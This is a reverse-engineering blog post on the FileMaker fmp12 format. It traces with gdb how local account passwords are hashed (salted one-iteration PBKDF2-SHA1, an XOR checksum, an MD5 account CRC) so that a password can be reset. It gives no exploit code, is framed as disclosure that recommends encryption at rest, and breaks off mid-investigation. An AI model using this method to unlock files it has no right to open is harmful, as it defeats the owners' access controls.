Assembly on David Hamann

Exploring the fmp12 file format; or: what was my password again?

Mon, 17 Jun 2024 00:00:00 +0000

Introduction

I had been planning for a while to dive deeper into the fmp12 file format to explore how data is organized and how accounts and passwords are stored. A few months ago, I finally found the time to do it.

The first thing I noticed was just how little information publicly exists about the file format and especially about account and password storage.

The only information on the latter was that “a one-way hash” is used for storing passwords and that there are some password reset tools that – according to forums – might work but would also “damage” your file, without any further clarification.

In my opinion this kind of knowledge shouldn’t only exist for password recovery tool vendors. If you invest a lot time and money into your fmp12 solution, you should know how much or how little local accounts/passwords protect distributed files and also what the reset tools actually do to your files.

It should come to no surprise to some people that you can get around the password protection of unencrypted local files. However, I’ve also spoken to many people in the past who thought a password protected (local) fmp12 file is literally protected if you don’t have the password (i.e. you cannot get into the file to access the data or code).

In June 2024, I gave a talk about this topic at the dotfmp conference. This post will follow the general flow of the presentation. Just like in the talk, we start at the very beginning with some basics (I have also included the number base conversions to keep it complete).

The following article does not come with a proof-of-concept code to reset account passwords for fmp12 files, but it will give you an understanding of the protections in place.

A disclaimer up front: all information presented in the following is based on my observations and some assumptions. As there is no open specification of the file format, we just have to accept that certain things cannot be fully confirmed.

Also note that this is not a post about a vulnerability but rather an exploration into how things works internally in an fmp12 file. We are not talking about accessing a remote file on FileMaker Server.

TL;DR: If you have access to a local fmp12 file, account passwords can be reset. If you just want to read some data from a file, you obviously don’t even need an account/password. If you want to properly protect your local files, use the encryption at rest feature – it’s designed for exactly this.

Number bases / radices, bits and bytes

Over the course of this blog post we are going to look at a lot of raw byte values. Some values are better represented in binary or hexadecimal form.

So let’s start with a quick refresher on how to read numbers in base 10, base 2 and base 16. If you deal with binary and hex values all the time, feel free to skip this section.

Base 10

In everyday life we’re mostly using the base 10 numeral system. If you see the number 2024, you don’t think much about it because you’re used to working with decimal numbers.

But let’s have a look at the formula that actually lets you compute the value from the individual digits of a decimal number:

d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The tens
| +-- The hundreds
+-- The thousands

In base 10 every digit can represent one of 10 values (0-9) and each of the digits contributes to the total value.

The number 2024 can be represented like so:

2 0 2 4
| | | |
| | | +-- The ones
| | +-- The tens
| +-- The hundreds
+-- The thousands

So to get to two-thousand-twenty-four, we can just read what every place contributes and add these values together:

$$d_{N-1} \times 10^{N-1} + d_{N-2} \times 10^{N-2} + d_{N-3} \times 10^{N-3} + d_{N-4} \times 10^{N-4}$$$$d_{3} \times 10^3 + d_{2} \times 10^2 + d_{1} \times 10^1 + d_{0} \times 10^0$$$$2 \times 10^3 + 0 \times 10^2 + 2 \times 10^1 + 4 \times 10^0$$$$2 \times 1000 + 0 \times 100 + 2 \times 10 + 4 \times 1$$$$2000 + 0 + 20 + 4$$$$2024$$

As you will see in the following, the same formula also applies to other bases if the base value is swapped out accordingly.

Base 2

In base 2 every digit can have one of two values, 0 or 1. Taking a sample value of 0b1101 (decimal 13), we can compute the decimal value using the same steps as before:

d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The twos
| +-- The fours
+-- The eights


1 1 0 1 = decimal 13
| | | |
| | | +-- The ones
| | +-- The twos
| +-- The fours
+-- The eights

$$d_{N-1} \times 2^{N-1} + d_{N-2} \times 2^{N-2} + d_{N-3} \times 2^{N-3} + d_{N-4} \times 2^{N-4}$$$$d_{3} \times 2^3 + d_{2} \times 2^2 + d_{1} \times 2^1 + d_{0} \times 2^0$$$$1 \times 2^3 + 1 \times 2^2 + 0 \times 2^1 + 1 \times 2^0$$$$1 \times 8 + 1 \times 4 + 0 \times 2 + 1 \times 1$$$$8 + 4 + 0 + 1$$$$13$$

Often times the prefix 0b is used to indicate that you’re looking at a binary number.

Base 16

Lastly, we have base 16, which will be the most used in the contents to follow. In base 16 we have 16 possible values for every digit, 0 to 15. The values from 10 to 15 are represented by letters a to f.

Hexadecimal values are usually prefixed with 0x.

To get the decimal value from a hexadecimal number, we can follow the same steps as before, but use 16 as the base:

d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The 16s
| +-- The 256s
+-- The 4096s


C A F E = 51966
| | | |
| | | +-- The ones
| | +-- The 16s
| +-- The 256s
+-- The 4096s

$$d_{N-1} \times 16^{N-1} + d_{N-2} \times 16^{N-2} + d_{N-3} \times 16^{N-3} + d_{N-4} \times 16^{N-4}$$$$d_{3} \times 16^3 + d_{2} \times 16^2 + d_{1} \times 16^1 + d_{0} \times 16^0$$$$12 \times 16^3 + 10 \times 16^2 + 15 \times 16^1 + 14 \times 16^0$$$$12 \times 4096 + 10 \times 256 + 15 \times 16 + 14 \times 1$$$$49152 + 2560 + 240 + 14$$$$51966$$

Bits and Bytes

As the last theoretical bit (pun not intended :-)), let’s have a look what is in a byte and how we can represent bytes in a clear way:

1 byte = 8 bits = 256 possible values (0 to 255)

Example: 0b10000001 = 0x81 = 129

When dealing with 16, 32, or 64-bit values it quickly becomes impractical to use a base 2 or base 10 representation of values.

Looking at just a 16-bit (2-byte) value, you can tell that 16 0s and 1s are hard to make sense of (unless they are all the same). And in a decimal representation it’s hard to know how many bytes a number represents.

But seeing the same value represented in hexadecimal, we can immediately spot that it’s two bytes (1 byte can be represented in two hex digits):

0b1111111111111111 = 0xffff = 65535
16 bits = 2 bytes

The fmp12 file format

Visual inspection and header

Now that we’ve covered the theoretical background, let’s see how an fmp12 file actually looks like when examining the raw bytes of it:

 |----------- magic bytes -----------|--
00000000: 0001 0000 0002 0001 0005 0002 0002 c048 ...............H
 format--|
00000010: 4241 4d37 0000 1000 0000 0000 0000 0000 BAM7............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
...

As is common for many formats, the file begins with a magic byte-sequence signature. This is followed by what appears to be the internal name of the format: HBAM7.

If we were to look at an encrypted file the format would say HBAMe and the rest of the file would by, well, encrypted.

A quick glance at the file also reveals its organization into 4-kilobyte blocks. Before each multiple of 4096 bytes we see a bunch of null bytes (0x00) as the blocks are usually not completely filled.

Helpful resources

As noted earlier, there are very few online resources about fmp12. However, the following three were valuable for kickstarting the process of understanding the file format:

The first two are DevCon talks which give a few insights about how FileMaker Pro/Server logically organizes files. The third, fmptools, is a repository containing C code to parse and extract table data from fmp12 (and older) files and does a great job documenting many of the byte-codes used in the payloads of the 4K blocks.

If you want to get familiar with the format I highly recommend starting by writing a parser yourself and implementing the codes documented in this repository.

Block structure

The 4096 byte blocks in the file are organized as a doubly linked list, meaning each block knows the ID of the previous and next block.

This information (and other meta data, e.g. if a block was deleted or not) is stored in the first few bytes of every block.

So by parsing the block header, we can determine the offset to which we need to jump next in the file.

 |prev ID| |next ID|
00001000: 0000 0000 0000 0000 0000 0043 0001 0de7 ...........C....
 |- beginning of payload ----
00001010: 0000 0894 1b00 0100 0000 0220 0220 8703 ........... . ..
 -- cont. until end of block---------...
00001020: 0300 0000 41c3 0600 0000 4220 88c3 0100 ....A.....B ....

Payload

The payload in each block consists of a sequence of bytes, beginning with a code that describes the following data chunk or the operation to be performed.

The op-codes 0x40 (POP) and 0x20 (PUSH) are used for constructing path information, such that the application reading the file is able to address the individual pieces of data later on.

The data chunks we are interested in for the purpose of figuring out the account and password storage are mostly the key-value pairs (examples to follow). Be aware, though, that we have to have knowledge about all byte-codes in a payload of a block to be able to parse that block in its entirety.

Examining a number of sample files yourself, you will likely notice that there are more than just the byte-codes documented in the fmptools repository.

When encountering a new/unknown code, there are two options: you could either try to reverse-engineer it or skip processing the rest of the payload and move on to the next block. For the purpose of learning about accounts and passwords it’s generally OK to skip ahead as long as the unknown codes don’t appear in the same block as the information we are interested in.

Encoding of data, and payload examples

When you start exploring a file format and have an application at hand that can write data in that format, one of the easiest experiments you can do is to let the application write a known string into the file and see how that string is represented.

Let’s say we were to open an fmp12 file and chose the name AAAAAA for a field, a script, an account name or anything else. Observing how the file changes once that name is committed would give us a clue on a) where the data is stored in the file, and b) how the data is stored.

If you perform this experiment, you will quickly notice that the plaintext AAAAAA does not appear anywhere in the file. Instead, each byte you enter is stored in a transformed (but predictable) manner. The six As do not appear as six instances of 0x41 (decimal 65, the ASCII code for capital A) but rather as 0x1b.

Why 0x1b? It turns out that all the data in fmp12 files is XORed with the byte 0x5a – I assume just for a little obfuscation.

How would you find the XOR byte? You just try out all possible byte values and see which one gives you back 0x41 (A) again.

Let’s have look at a short example of the bitwise XOR operation in case you are not familiar with it.

XOR example

We established that 0x1b ^ 0x5a = 0x41 = 65 = A (the caret denoting the XOR operator).

XOR stands for “exclusive or” and the result of the operation is only true (1), if the two given inputs differ.

And since we are performing a bit-wise operation, our inputs to XOR are the individual bits of the bytes.

Sticking with the example from above, this looks like follows:

0b00011011 ^ 0b01011010 = 0b01000001

00011011 <== 0x1b
01011010 <== 0x5a
--------
01000001 <== 0x41

Going back to the formula from the very beginning, we can see that $2^6 + 2^0 = 65$, and 65 is again the ASCII code for “A”.

Key-value example

Let’s now look at an example of a data chunk inside a payload.

0x06 0x10 0x05 0x1b 0x3e 0x37 0x33 0x34

In this case 0x06 would be the code for a key-value pair.

0x10 would be the key, and 0x05 the length of the data for this key.

Looking at the next 5 bytes (length), we have 0x1b 0x3e 0x37 0x33 0x34.

Performing an XOR operation with each byte and the constant 0x5a as explained above, we get:

0x1B ^ 0x5A = 0x41, 0x3E ^ 0x5A = 0x64, ..., 0x34 ^ 0x5A = 0x6E
0x41 = ASCII "A", 0x64 = "d", ... 0x6E = "n"
"Admin"

So the example above would store the string Admin with key 0x10.

Path operation example

As mentioned before, the payload also contains op-codes for PUSH and POP operations. Let’s look at an example and assume the current path is 17.1 (arbitrary for this example):

0x40 0x40 0x20 0x17 0x80 0x20 0x01 0x80 0x20 0x01

We start by looking at the first byte, determine it’s a POP operation and thus pop off the 1 of our example path, leaving only 17.

Another POP operation (second byte) also pops off the 17, leaving us with an empty path.

The third byte is the op-code for a PUSH operation with the value 0x17. So we push 0x17, or 23 in decimal, onto the path (not to be confused with the decimal 17 in the beginning).

The fourth byte is a NOP, a no-operation instruction. Thus, nothing changes.

Then, we continue with another PUSH of the value 1, meaning our path becomes 23.1.

We continue in the same way as before and eventually arrive at a path of 23.1.1. Here is a list of the instructions in less verbose form:

0x40: POP one off path -> 17
0x40: POP one off path -> empty
0x20 0x17: PUSH 0x17 -> 23
0x80: NOP -> 23
0x20 0x01: PUSH 0x01 -> 23.1
0x80: NOP -> 23.1
0x20 0x01: PUSH 0x01 -> 23.1.1

If the key-value pair from the previous example would follow, it would have the path 23.1.1.16 (16, or 0x10, being the key).

How do we get to the accounts?

With the information given so far we are able to write a simpler parser for any fmp12 file (assuming we have knowledge of all byte-codes used in the file).

How does this help us learn more about the stored accounts and passwords? We can open a few sample files and check where account names, such as Admin, are stored, then note down their path (we know the account names to search for as we are parsing our own files).

What we find is that account information is generally stored at path 23.1.5.N, where N is the account number. So the first account would be in 23.1.5.1, the second account in 23.1.5.2, and so on. The parent path 23.1.5 always stays the same.

Note that you don’t need any account/password if all you want is to read some data from a file. But we want to find out how much accounts protect a local file from being accessed the “normal” way and if passwords can easily be reset.

Where exactly is the name stored and what else is “nearby”? Let’s have a look at a chunk of a payload:

[...]

00008190: 020e fc03 0908 9fa1 5b80 0596 6aa0 4020 ........[...j.@
000081a0: 0280 0604 1005 407c dc76 b7f1 fd29 ac5a ......@|.v...).Z
000081b0: 9c79 1af6 b806 063b 0104 72b2 e83c 04a8 .y.....;..r..<..
000081c0: bd2b fe3c bc1f 3d1f 0b69 df8e 93c6 542e .+.<..=..i....T.
000081d0: 4786 01b0 5d26 1d38 cead d523 0fc1 62a5 G...]&.8...#..b.
000081e0: 6dfa e831 7a99 0ad9 82a8 8efe 9a83 92a5 m..1z...........
000081f0: 0e71 3f06 0a09 089f a15b 8005 9674 3002 .q?......[...t0.
00008200: 0b01 0106 1005 1b3e 3733 3420 5d80 2800 .......>734 ].(.
00008210: 0080 2011 8020 1880 4040 4040 06d8 1071 .. .. ..@@@@...q

[...]

Let’s add some color to better identify the byte-codes (red), the arguments/keys/lengths (green) and the actual data (blue). The account name “Admin” (XORed) is highlighted in blue.

Parsing this payload would look something like this:

(Current path 23.1.5.1)

0x40 (POP)
0x20 (PUSH) 0x2
Path is now 23.1.5.2

0x06 (Key Value) with key 0x04 and length 0x10 (16 bytes)
Path 23.1.5.2.4 ==> 05407cdc76b7f1fd29ac5a9c791af6b8

0x06 (Key Value) with key 0x06 and length 0x3b (59 bytes)
Path 23.1.5.2.6 ==> 010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f

0x06 (Key Value) with key 0x0a and length 0x09 (9 bytes)
Path 23.1.5.2.10 ==> 089fa15b8005967430

0x02 (Key Value) with key 0x0b and a length of 2 bytes
Path 23.1.5.2.11 ==> 0101

0x06 (Key Value) with key 0x10 and length 0x05 (5 bytes)
Path 23.1.5.2.16 ==> 1b3e373334 ===> ("Admin" XORed with 0x5a)

By looking at the values while performing account changes (for example via FileMaker Pro) we can draw some conclusions and make assumptions.

The account name is always stored with key 16 or 0x10, and XORed with 0x5a (just like the other data).

The value at key 0x04 (05407cdc76b7f1fd29ac5a9c791af6b8) has a fixed length of 16 bytes and the value completely changes when changing an account password (or other account information for that matter). Given the length of 16 bytes and its behavior, we can make the assumption that this could potentially be an MD5 hash.

The 59-byte long value at key 0x06 (010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f) also changes when we change an account password. Two things stand out here, though: the length always changes (even for the same password), and the first byte is always 0x01.

Hint: for the rest of this blog post we will mostly talk about these two values (key 0x04 and 0x06).

What to do with this information?

To make further progress, we have three options:

Continue to make slight changes to the file via FileMaker Pro, and observe how these changes are represented in the file
Open the file with any kind of application designed to read fmp12 files (e.g. FileMaker Pro, Server, FMMigrationTool, …), attach a debugger and read some assembly code
Just YOLO it, start changing some bytes in the file and see what happens 🤞

As professionals, we obviously choose option 3 ;-)

So what happens when we, for example, just change the account name at path 23.1.5.2.16?

Can we still open the file?

I guess that’s what you get when you change stuff without really knowing what’s up :-)

Lessons learned so far

We might not have succeeded yet, but the failures and observations gave us new insight:

If we modify an account name, we get a tamper alert
If we modify any of the potential hashes nearby, we get a tamper alert
If we modify a buch of other stuff in the file, we get a tamper alert
Given the above points, we can assume that there’s likely a checksum of all the account information
We learned that accounts generally have the same parent path 23.1.5
We learned that the 16-byte value at key 0x04 has a fixed length and changes when the password is changed
We learned that the 59-byte value at key 0x06 has a variable length and changes when the password is changed (with the exception of the first byte, which is always 0x01)

Time for some debugging

It seems, to make progress, we have to see what is actually going on (what algorithm is used? is there a salt value? …) in a program that can read fmp12 files.

As explained in last year’s post about deciphering the FileMaker keystore, the easiest way to find a starting point of where to look inside the program is to dump the symbol table and then set breakpoints at interesting locations of the program.

We will use gdb as the debugger and the FMDataMigration tool as the target. Being able to pass an account name and password directly on the command line is more convenient than debugging a UI application (FileMaker Pro).

As target for the migration tool we choose any sample file of which we know the account and password. Launching the debugger could look like this:

gdb --args FMDataMigration -src_path /path/to/source/test.fmp12 -src_account Admin -src_pwd whatever -clone_path /path/to/clone/test\ Clone.fmp12 -clone_account Admin -clone_pwd whatever -target_path /path/to/migrated/test.fmp12 -force

Note that we pass Admin as account name, and whatever as password.

Figuring out the password hash

Looking at the known function names (dumping symbols), we can note down everything that could be related to password hashing/reading/writing, then set breakpoints at these locations.

One very obvious function to start with is Draco::PasswordHash::ComputePasswordHash.

We can set a breakpoint, then (for every call) look up the arguments passed to the function and then see if we can make sense of any of them (for example, if the values also show up in the fmp12 file).

I debugged the application on a Linux machine on x86_64, so based on the calling conventions the first arguments are generally passed in registers rdi, rsi, rdx, rcx, r8 and r9.

Values passed to ComputePasswordHash

Once a breakpoint has been triggered, we can look at the register values:

(gdb) info reg

rcx 0x7ffff75529e0 # static known string (starts with "File" :-))

rdx 0xa # length of value of address pointed to by rsi (10 bytes)

rsi 0x7fffffffa0d9 # points to value we saw at path 23.1.5.2.6
 # 01===>0472b2e83c04a8bd2bfe<===3cbc1f..8efe9a8392a50e713f

rdi 0x7fffffffb2c0 # points to pointer where given password is stored
 # (char16, 2-byte chars)

r8 0x1e # length of value in rcx (30 bytes)

r9 0x1 # value of 1

+ some values on the stack

As commented above, we see several interesting values. rdi points to the password we passed in as command line argument (as 16-bit characters). rsi points to a part of the 59-byte value previously seen in the file at path 23.1.5.2.6. Assuming the next argument (rdx) is the length, we can read 10 bytes from rsi and get 0472b2e83c04a8bd2bfe.

rcx points to a constant string which starts with File (hint, hint), but has a length of 30 bytes (r8).

r9 contains 0x01 which may or may not be relevant to what we are trying to find out. We note it down in any case.

What do we know so far?

While not certain, we can make an assumption that the first 10 bytes after the 0x01 is the salt value (as storing it next to a password hash would make sense). To clarify, looking at the 59-byte byte-sequence from above, the 10-bytes are these:

01 --> 0472b2e83c04a8bd2bfe <-- 3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f

We have discovered a 30-byte constant value that seems to be somehow incorporated into the password hash computation (an assumption made based on the passed values).

We have also discovered a constant value of 0x01 which might be relevant to the hash.

And we have found out that the clear password which we pass on the command line ends up being passed to the ComputePasswordHash function as well.

Digging deeper

We know the input to the function. But what exactly happens within it?

To figure this out let’s have a closer look at one of the loops in that function:

[...]
0x00007ffff4c328f4 <+132>: div %r13d
0x00007ffff4c328f7 <+135>: movzbl (%r14,%rdx,1),%ebx
0x00007ffff4c328fc <+140>: shl $0x8,%ebx
0x00007ffff4c328ff <+143>: lea 0x1(%rcx),%eax
0x00007ffff4c32902 <+146>: xor %edx,%edx
0x00007ffff4c32904 <+148>: div %r13d
0x00007ffff4c32907 <+151>: movzbl (%r14,%rdx,1),%eax
0x00007ffff4c3290c <+156>: or %ebx,%eax
 ===> 0x00007ffff4c3290e <+158>: xor (%rdi,%rbp,2),%ax <===
0x00007ffff4c32912 <+162>: rol $0x8,%ax
0x00007ffff4c32916 <+166>: mov %ax,(%rdi,%rbp,2)
0x00007ffff4c3291a <+170>: add $0x2,%ecx
0x00007ffff4c3291d <+173>: mov %esi,%ebp
0x00007ffff4c3291f <+175>: add $0x1,%esi
0x00007ffff4c32922 <+178>: cmp %rbp,%r9
0x00007ffff4c32925 <+181>: ja 0x7ffff4c328f0
[...]

Looking at the assembly code, we can identify an XOR operation (shown with arrows above) with two 16-bit values. Calculating both the effective memory address and looking up the value in ax (lower 16 bits of rax), we can see that in the first iteration the values are 0x77 0x00 (little endian) and 0x46 0x69, respectively.

Looking up the ASCII character for 0x0077, we can identify it as w – the first character (zero-extended to 16-bits) of our whatever password.

Doing the same for 0x46 and 0x69, we arrive at Fi, the first two characters (1 byte each, so also 2 bytes/16-bits) of the constant string we saw earlier.

The result of the XOR operation is thus 0x0077 ^ 0x4669 = 0x461e.

Continuing for the whole length of the password, we arrive at a new sequence of bytes that we note down for later.

Looking at additional calls

Inspecting the function further we see two interesting calls:

 ===> 0x00007ffff4c3294e <+222>: callq 0x7ffff4c08b30 <EVP_sha1@plt> <===
0x00007ffff4c32953 <+227>: mov 0x70(%rsp),%rbp
0x00007ffff4c32958 <+232>: mov 0x10(%rsp),%rdi
0x00007ffff4c3295d <+237>: mov 0x18(%rsp),%esi
0x00007ffff4c32961 <+241>: add %esi,%esi
0x00007ffff4c32963 <+243>: mov 0x8(%rbp),%ebx
0x00007ffff4c32966 <+246>: mov %r12,%rdx
0x00007ffff4c32969 <+249>: mov %r15d,%ecx
0x00007ffff4c3296c <+252>: mov 0xc(%rsp),%r8d
0x00007ffff4c32971 <+257>: mov %rax,%r9
0x00007ffff4c32974 <+260>: pushq 0x0(%rbp)
0x00007ffff4c32977 <+263>: push %rbx
 ===> 0x00007ffff4c32978 <+264>: callq 0x7ffff4c087e0 <PKCS5_PBKDF2_HMAC@plt> <===
0x00007ffff4c3297d <+269>: add $0x10,%rsp
0x00007ffff4c32981 <+273>: mov 0x10(%rsp),%rdi
0x00007ffff4c32986 <+278>: lea 0x20(%rsp),%rax
0x00007ffff4c3298b <+283>: cmp %rax,%rdi

The two highlighted functions are from the OpenSSL library.

Since the library is open source, we can look up code and documentation and know for sure what arguments are expected to be passed to these functions.

So just like before, we can set a breakpoint at the key derivation function PBKDF2 (explained in more detail in my other post) and look at the registers again to see what values are being passed.

This is the function signature:

int PKCS5_PBKDF2_HMAC(const char *pass, int passlen,
 const unsigned char *salt, int saltlen, int iter,
 const EVP_MD *digest,
 int keylen, unsigned char *out);

And these are the register values when calling the function:

(gdb) info reg
rax 0x7ffff34b47e0 140737275185120
rbx 0x14 20
rcx 0xa # length of salt (10 bytes)
rdx 0x7fffffffa0d9 # points to 10 byte (rcx) salt (now confirmed) 0x04 0x72 ... (x/10xb $rdx)
rsi 0x10 # length of xored password (16 bytes)
rdi 0x60a38220 # points to 16 (rsi) bytes of XORed password 0x46 0x1e ... (x/16xb $rdi)
rbp 0x7fffffffa350 0x7fffffffa350
rsp 0x7fffffffa038 0x7fffffffa038
r8 0x1 # the value of 1 seen before, the iteration count
r9 0x7ffff34b47e0 # points to SHA1 context

On stack: keylen of 20 and address for out

I commented each relevant register value above. To summarize it again:

We pass in our XORed password (rdi) from above. The value for the salt argument (rdx) is the 10 bytes we identified earlier (so it’s now confirmed that it indeed is a salt value), an iteration count (r8) of 1 (the 0x01 value we saw earlier), and a pointer to the SHA1 hashing function (r9) (we saw it being initialized above). Additionally, a desired key length of 20 and an address for the output is passed.

Letting this function run and observing the result written to *out we can see that it is exactly the 20 bytes after the previously identified salt value in the 59-byte long sequence of bytes at path 23.1.5.2.6.

Summary so far

Of the value at 23.1.5.2.6 we now know the following components:

010472b2e83c04a8bd2bfe3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
| | | |
| | | +--> Still unknwon
| | +--> The 20-byte derived key / password hash
| +--> The 10-byte salt value
+--> Always 1; we could assume that this is some sort of version number, in case the algorithm changes in the future

To arrive at this result, we saw that we have to have the password (char16), a salt and a fixed value.

In a loop, we XOR the password with the fixed value.

We then feed the XOR result into PBKDF2 with a SHA1 digest function.

And out comes the hash that is being stored in the fmp12 file.

Figuring out the variable-length “checksum”

So what is the still unknown part of this 59-byte sequence? And why does it change in length every time we change a password?

To figure this out, we have dig into another function called Draco::DBPassword::Read:

[...]
0x00007ffff5e61aeb <+459>: mov $0x1,%edx
0x00007ffff5e61af0 <+464>: movzbl 0x1a(%rsp,%rdx,1),%ebx
 ===> 0x00007ffff5e61af5 <+469>: xor 0x10(%rsp,%rdx,1),%bl <===
0x00007ffff5e61af9 <+473>: movzbl 0x2e(%rsp,%rdx,1),%ecx
0x00007ffff5e61afe <+478>: cmp %bl,%cl
0x00007ffff5e61b00 <+480>: sete %al
0x00007ffff5e61b03 <+483>: cmp %rsi,%rdx
0x00007ffff5e61b06 <+486>: jae 0x7ffff5e61b14
0x00007ffff5e61b08 <+488>: add $0x1,%rdx
 ===> 0x00007ffff5e61b0c <+492>: cmp %bl,%cl <===
0x00007ffff5e61b0e <+494>: je 0x7ffff5e61af0
0x00007ffff5e61b10 <+496>: jmp 0x7ffff5e61b14
0x00007ffff5e61b12 <+498>: and %cl,%al
0x00007ffff5e61b14 <+500>: test %al,%al
[...]

Here, we see again a XOR operation in a loop. And if we look at the values in memory and the register for each iteration, we will find that each byte of the password hash is XORed with each byte of the salt value.

Looking at the result, we see that it matches the previously unknown remainder of the 59-byte sequence mentioned earlier.

We also see that every computed byte (XOR result) is compared to the stored byte – so any variation between stored and computed will likely trigger the tamper alert.

Visualizing the first few operations of this loop:

010472b2e83c04a8bd2bfe3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
 | | | | | | ^ ^ ^
 | | | | | | | | |
 | | | | | | | | |
 | | | | | | | | |
 | | | v | | | | |
 +-|-|---> xor(0x04, 0x3c) = 0x38 ---------------------------+ | |
 | | | | | |
 | | v | | |
 +-|-----> xor(0x72, 0xbc) = 0xce ---------------------------+ |
 | | |
 | v |
 +-------> xor(0xb2, 0x1f) = 0xad ---------------------------+

You might be wondering how you can XOR salt and password if they differ in length. What actually happens is XOR(salt + password, password), with the password being extended by the XOR result as the loop progresses.

Why variable length?

What we don’t yet understand is why the XOR byte-sequence has a variable length, i.e. is often truncated.

The answer is to be found in yet another function: Draco::DBUserAccount::MatchPasswordData.

Setting a breakpoint, running the program and taking a closer look, we can see the following instructions:

0x00007ffff5e63901 <+225>: movzbl 0x28c(%rsp),%esi
0x00007ffff5e63909 <+233>: and $0x1f,%esi

By calculating the effective memory address and inspecting the source of the value being moved into esi, we can observe that it always takes the second byte of the password hash:

01 0472b2e83c04a8bd2bfe 3cbc1f3d1f0b69df8e93c6542e478601b05d261d 38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
 |
 +--> 0xbc is the second byte of the password hash

What follows is a bitwise AND instruction with inputs 0x1f and the value in esi (0xbc in this case).

The bitwise AND operation performs a logical AND on every bit-pair of the two input bytes. If both values of a pair are 1, the result is 1, otherwise 0.

 00011111 <=== 0x1f
AND 10111100 <=== 0xbc
 --------
 00011100 = 0x1c = 28

If 0x1f is fixed, the largest value that can come out of this is 0x1f, or 31, itself.

But what do we do with this value? It turns out that it is used to truncate our XOR “checksum”.

So in our case with the second byte of the password hash being 0xbc, we would have a 0x1c, or 28 byte long checksum at the end:

01 0472b2e83c04a8bd2bfe 3cbc1f3d1f0b69df8e93c6542e478601b05d261d 38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
| | | |
| | | +--> 28 bytes
| | +--> 20 bytes
| +--> 10 bytes
+--> 1 byte

Now the big question is: Knowing all the components in this 59-byte sequence at path 23.1.5.2.6, can we generate a new salt, compute the derived key/hash, and XOR checksum from a new password of our choice, insert it back into the file, and then open the file using the chosen password?

It could work (based on our assumptions so far). Before we try it out, though, we have to account for one more thing.

If we choose a new password with the same or different salt value, we will most-likely have a different length XOR checksum at the end. This means, we would need to re-align the block (filling it up with NOPs or null-bytes won’t work).

Since this can get complicated, we can use a small trick: we just brute-force a new salt-value which – combined with the password – leads to a 0xbc in the second byte of the SHA-1 hash. This way, the length of the XOR checksum at the end will stay the same and we replace the 59 bytes exactly with another 59-byte long sequence.

So let’s insert the new value, and try to open the file again:

Oooops! :-) Still not working.

Figuring out the account checksum

Our failure implicitly gave us another hint: there must be another piece of data which also takes the salt and password into consideration – otherwise our little replacement from above would be impossible to be detected as tampering.

So let’s go back to the beginning and have another look at the account section that we parsed out earlier:

(Current path 23.1.5.1)

0x40 (POP)
0x20 (PUSH) 0x2
Path is now 23.1.5.2

0x06 (Key Value) with key 0x04 and length 0x10 (16 bytes)
Path 23.1.5.2.4 ==> 05407cdc76b7f1fd29ac5a9c791af6b8 <=== remember this?

0x06 (Key Value) with key 0x06 and length 0x3b (59 bytes)
Path 23.1.5.2.6 ==> 010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f

0x06 (Key Value) with key 0x0a and length 0x09 (9 bytes)
Path 23.1.5.2.10 ==> 089fa15b8005967430

0x02 (Key Value) with key 0x0b and a length of 2 bytes
Path 23.1.5.2.11 ==> 0101

0x06 (Key Value) with key 0x10 and length 0x05 (5 bytes)
Path 23.1.5.2.16 ==> 1b3e373334 ===> ("Admin" XORed with 0x5a)

We saw this fixed-size 16-byte long “hash-like” looking sequence of bytes with key 0x04. We previously made the assumption that it could be an MD5 hash (given the length). We also observed that it always completely changes with every change made to the account (changing password, account name, privilege set, etc.).

Hunting for more functions, we eventually see that Draco::DBUserAccount::ComputeCRC is called for every account in the file (you could have also seen that ComputeCRC is on the callstack for some of the other password related functions; info stack).

So if we break at the n-th call to the function, where n is the position of the account, we can continue our investigation.

Getting a first overview of the assembly instructions, it stands out that we have a lot of calls to another function, Draco::CRCContext::Update, which in turn calls OpenSSL’s MD5_Update function.

Debugging functions for which we have documentation and code is always easier. So why don’t we break at every call to MD5_Update until we have a MD5_Final call which finalizes the checksum?

The strategy is the same as before: pause the program when the function is called, then look at the passed values. For OpenSSL’s MD5_Update function we even know the signature, which makes things easier: int MD5_Update(MD5_CTX *c, const void *data, unsigned long len);.

So what’s in the registers when the function is called?

(gdb) info reg
rax 0x7fffffffa880 140737488332928
rbx 0x7fffffffa890 140737488332944
rcx 0x1 1
rdx 0x10 16
rsi 0x7fffffffa880 140737488332928
rdi 0x60a37dd0 1621327312
rbp 0x0 0x0
rsp 0x7fffffffa868 0x7fffffffa868
r8 0x0 0

rdi has the MD5 context, which we can ignore for now. rsi contains a pointer to the data to be included in the hash, and rdx contains its length.

(gdb) x/16xb $rsi
0x7fffffffa880: 0x44 0x8f 0x00 0x0b 0x21 0xe9 0x41 0x2b
0x7fffffffa888: 0xa5 0x9c 0x8c 0x5f 0xd9 0x68 0x13 0xdb

While we don’t know what this sequence of bytes represents, we can just note it down and continue to the next call until the MD5 hash is finalized.

Eventually, we have all inputs to the MD5 hash and can also re-create it in a program of our own. It turns out, when computed again, the hash exactly matches the value stored at 23.1.5.2.4.

But how would we re-compute this without seeing the values from the debugger? For most values that are an input to the hash function, this is relatively easy: you can search for the value in the fmp12 file and note down its path (given it has an adequate length to be unique-ish in the file).

To find the value for a different file, you could just look up the value at the same path again. And if all fails, you could of course also run the debugger again to get to these values.

Do we have it now?

